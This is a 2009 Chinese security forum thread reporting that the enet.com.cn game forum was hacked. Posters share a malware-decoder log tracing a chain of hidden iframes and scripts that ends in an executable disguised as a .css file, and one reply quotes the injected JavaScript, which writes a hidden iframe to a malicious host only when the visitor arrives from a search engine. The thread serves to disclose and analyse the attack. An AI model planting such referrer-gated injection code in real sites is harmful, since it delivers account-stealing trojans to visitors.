硅谷动力被黑！！

显示全部楼层 · 发表于 2009-10-10 16:41:38

http://gamebbs.enet.com.cn/

Log generated by anonymous use mdecoder 0.23
[root]http://gamebbs.enet.com.cn/
[script]http://gamebbs.enet.com.cn/include/javascript/common.js
[script]http://gamebbs.enet.com.cn/include/javascript/menu.js
[script]http://gamebbs.enet.com.cn/include/javascript/ajax.js
[script]http://frame.enet.com.cn/a.php
[script]http://60.190.236.11:8000/stat.js?
      [iframe]http://scanw.3322.org/xm/1.htm?
         [iframe]http://ee00oo.cn/x96/xx.html
            [iframe]http://ee00oo.cn/x96/td14.htm
                  [script]http://ee00oo.cn/x96/14.js
                     [exe]http://d.hhdwx.com/xx/x96.css
                  [script]http://ee00oo.cn/x96/15.js
                  [script]http://ee00oo.cn/x96/17.js
                  [script]http://ee00oo.cn/x96/16.js
                  [script]http://ee00oo.cn/x96/18.js
            [iframe]http://ee00oo.cn/x96/yt.htm
                  [script]http://ee00oo.cn/x96/p8.jpg
                  [script]http://ee00oo.cn/x96/kb.jpg
                  [script]http://ee00oo.cn/x96/url.jpg
                     [exe]http://d.hhdwx.com/xx/x96.css
                  [script]http://ee00oo.cn/x96/c.jpg
                  [script]http://ee00oo.cn/x96/d.jpg
                  [script]http://ee00oo.cn/x96/e.jpg
                  [script]http://ee00oo.cn/x96/f.jpg
            [iframe]http://ee00oo.cn/x96/td09.htm
                  [script]http://ee00oo.cn/x96/01.js
                     [exe]http://d.hhdwx.com/xx/x96.css
                  [script]http://ee00oo.cn/x96/02.js
            [iframe]http://ee00oo.cn/x96/yut.htm
                  [iframe]http://ee00oo.cn/x96/ytfl1.htm
                     [iframe]http://ee00oo.cn/x96/x1.htm
                        [script]http://ee00oo.cn/x96/swfobject.js
                        [flash]http://ee00oo.cn/./x1.swf
                        [flash]http://ee00oo.cn/./x3.swf
                        [flash]http://ee00oo.cn/./x4.swf
                        [flash]http://ee00oo.cn/./x2.swf
                     [iframe]http://ee00oo.cn/x96/x2.htm
                        [script]http://ee00oo.cn/x96/swfobject.js
                        [flash]http://ee00oo.cn/./x7.swf
                        [flash]http://ee00oo.cn/./x9.swf
                        [flash]http://ee00oo.cn/./x10.swf
                        [flash]http://ee00oo.cn/./x8.swf
                     [iframe]http://ee00oo.cn/x96/x1.htm
                  [iframe]http://ee00oo.cn/x96/of.htm
                     [script]http://ee00oo.cn/x96/of.js
                        [exe]http://d.hhdwx.com/xx/x96.css
                     [script]http://ee00oo.cn/x96/of3.jpg
                     [script]http://ee00oo.cn/x96/of.jpg
                     [script]http://ee00oo.cn/x96/of2.jpg
            [iframe]http://ee00oo.cn/x96/ytu.htm
                  [iframe]http://ee00oo.cn/x96/ytfl.htm
                     [iframe]http://ee00oo.cn/x96/ff.html
                        [script]http://ee00oo.cn/x96/ff.js
                        [exe]http://d.hhdwx.com/xx/x96.css
                     [iframe]http://ee00oo.cn/x96/ie.html
                        [script]http://ee00oo.cn/x96/ie.js
                        [exe]http://d.hhdwx.com/xx/x96.css
                     [iframe]http://ee00oo.cn/x96/ff.html
                     [iframe]http://ee00oo.cn/x96/ie.html
                     [iframe]http://ee00oo.cn/x96/ff.html
                     [iframe]http://ee00oo.cn/x96/ff.html
      [iframe]http://scanw.3322.org/xm/1.htm?
      [iframe]http://scanw.3322.org/xm/1.htm?
      [iframe]http://scanw.3322.org/xm/1.htm?
[iframe]http://www1.enet.com.cn/usereschool

网游盗号木马。

显示全部楼层 · 发表于 2009-10-10 16:48:29

硅谷三天两头的给插代码……

显示全部楼层 · 发表于 2009-10-10 18:04:59

这个只有通过搜索访问这个网页才会触发漏洞
直接访问该页面不会触发漏洞

显示全部楼层 · 发表于 2009-10-10 18:25:00

还好，没事

显示全部楼层 · 发表于 2009-10-10 19:11:55

var url=document.referrer;
var p=url.toLowerCase().indexOf("www.baidu.com");
if (p>0)
{
document.writeln("<iframe src=http://scanw.3322.org/xm/1.htm? width=100 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf("www.google.cn");
if (p>0)
{
document.writeln("<iframe src=http://scanw.3322.org/xm/1.htm? width=100 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf("www.sogou.com");
if (p>0)
{
document.writeln("<iframe src=http://scanw.3322.org/xm/1.htm? width=100 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf("www.soso.com");
if (p>0)
{
document.writeln("<iframe src=http://scanw.3322.org/xm/1.htm? width=100 height=0></iframe>");
}

复制代码

显示全部楼层 · 发表于 2009-10-10 19:14:54

囧~貌似enet经常被挂马。。。都成毒窝了。。。囧囧

显示全部楼层 · 发表于 2009-10-10 22:13:11

原帖由囧神于 2009-10-10 19:14 发表
囧~貌似enet经常被挂马。。。都成毒窝了。。。囧囧

囧神的签名不错。很搞笑，哈哈。。。

显示全部楼层 · 发表于 2009-10-10 22:34:57

显示全部楼层 · 发表于 2009-10-11 11:48:02

原帖由 谁谁谁 于 2009-10-10 22:13 发表

囧神的签名不错。很搞笑，哈哈。。。

囧~自然的，需要的就是囧~。。。另外这个页面的确要通过搜索引擎的连接才会发作，直接访问没问题。。。囧~我说360怎么不报~囧囧囧

[其它] 硅谷动力 被黑！！

[其它] 硅谷动力被黑！！